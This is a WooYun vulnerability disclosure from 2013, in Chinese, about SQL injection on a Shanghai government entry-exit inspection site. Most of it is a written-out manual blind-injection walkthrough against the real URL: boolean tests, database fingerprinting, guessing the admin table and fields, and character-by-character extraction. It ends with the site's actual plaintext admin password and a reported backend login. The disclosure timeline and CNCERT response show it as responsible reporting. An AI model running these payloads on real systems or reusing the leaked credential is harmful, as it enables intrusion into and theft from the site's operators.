当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024186

漏洞标题:上海出入境某分站SQL注入之手工注入

相关厂商:上海出入境

漏洞作者: 路人甲

提交时间:2013-05-22 14:52

修复时间:2013-07-06 14:52

公开时间:2013-07-06 14:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-22: 细节已通知厂商并且等待厂商处理中
2013-05-25: 厂商已经确认,细节仅向厂商公开
2013-06-04: 细节向核心白帽子及相关领域专家公开
2013-06-14: 细节向普通白帽子公开
2013-06-24: 细节向实习白帽子公开
2013-07-06: 细节向公众公开

简要描述:

上海出入境某分站SQL注入。and 1=1正常,and 1=2出错。小菜第一次发,求个马,也不懂是否需要在url上遮盖。如有必须,请帮忙遮盖。3Q~

详细说明:

http://yangshan.shciq.gov.cn/article.aspx?artid=622 and 1=1 正常
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and 1=2 不正常
则确定为注入点

漏洞证明:

接下来用工具跑。跑不出来撒,穿山甲,havij等。Sqlmap跑也总是说连接超时

3.png


(后来知道是啥问题了,又用sqlmap,还是能跑出来的)
于是只好先手工试试了。
http://yangshan.shciq.gov.cn/article.aspx?artid=622 order by 7 是正常的
aspx的站,数据库要么是sqlserver,要么是access的吧
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select count(*) from sysobjects)>0
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select count(*) from msysobjects)>0
第一个URL判断是否是sqlserver数据库,看是否有sysobjects这个表。所以可以判断数据库是access的。
接下来判断admin表是否存在
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select count(*) from admin)>=0

4.png


存在admin表。接下来把count(*)替换成count(字段名),用同样的原理进行猜解。
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select count(username) from admin)>=0
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select count(password) from admin)>=0
这里运气好啊,字段就是username和password,当然可能还有其他字段。
猜字段这里就只能凭经验了,还有一种方法就是去后台登录那里,看源代码,看里面出现的可能是字段名的关键字。

5.png


接下来就是猜字段的值
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 len(username) from admin)>0
原理么就是如果top 1的username长度大于0,则条件成立。我们接着就>1,>2的测下去。一直到>5不成立,则我们就知道username的长度是5
在的到username的长度之后,用mid(username,N,1)截取第N位字符,再 asc(mid(username,N,1)) 得到 ASCII 码
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 asc(mid(username,1,1)) from admin)>96 对
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 asc(mid(username,1,1)) from admin)>97 错
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 asc(mid(username,2,1)) from admin)>99 对
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 asc(mid(username,2,1)) from admin)>100 错
接下来
and (select top 1 asc(mid(username,3,1)) from admin)>108 对
and (select top 1 asc(mid(username,3,1)) from admin)>109 错
and (select top 1 asc(mid(username,4,1)) from admin)>104 对
and (select top 1 asc(mid(username,4,1)) from admin)>105 错
and (select top 1 asc(mid(username,5,1)) from admin)>109 对
and (select top 1 asc(mid(username,5,1)) from admin)>110 错
得到username的值为admin,接下来password的方法也是一样。
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 len(password) from admin)>5 错误,得到password的密码也是5位,以为是admin,去试了下结果不是。然后就是以上同样方法得到password的密码,5位是明文。
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 asc(mid(password,1,1)) from admin)>101 对
http://yangshan.shciq.gov.cn/article.aspx?artid=622 and (select top 1 asc(mid(password,1,1)) from admin)>102 错
…..
以此类推
最后得到密码为f2wa3
最后登进后台。之后操作未进行。

7.png

修复方案:

SQL注入嘛,还是大牛知道怎么补,或者前面可以挂个WAF哦~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2013-05-25 21:24

厂商回复:

CNVD确认并复现SQL注入情况(用某工具也可以自动注出),已在23日下午转由CNCERT下发上海分中心,由其后续协调网站管理部门处置。
按部分影响机密性、完整性、可用性进行评分,rank=7.48*1.0*1.4=10.472

最新状态:

暂无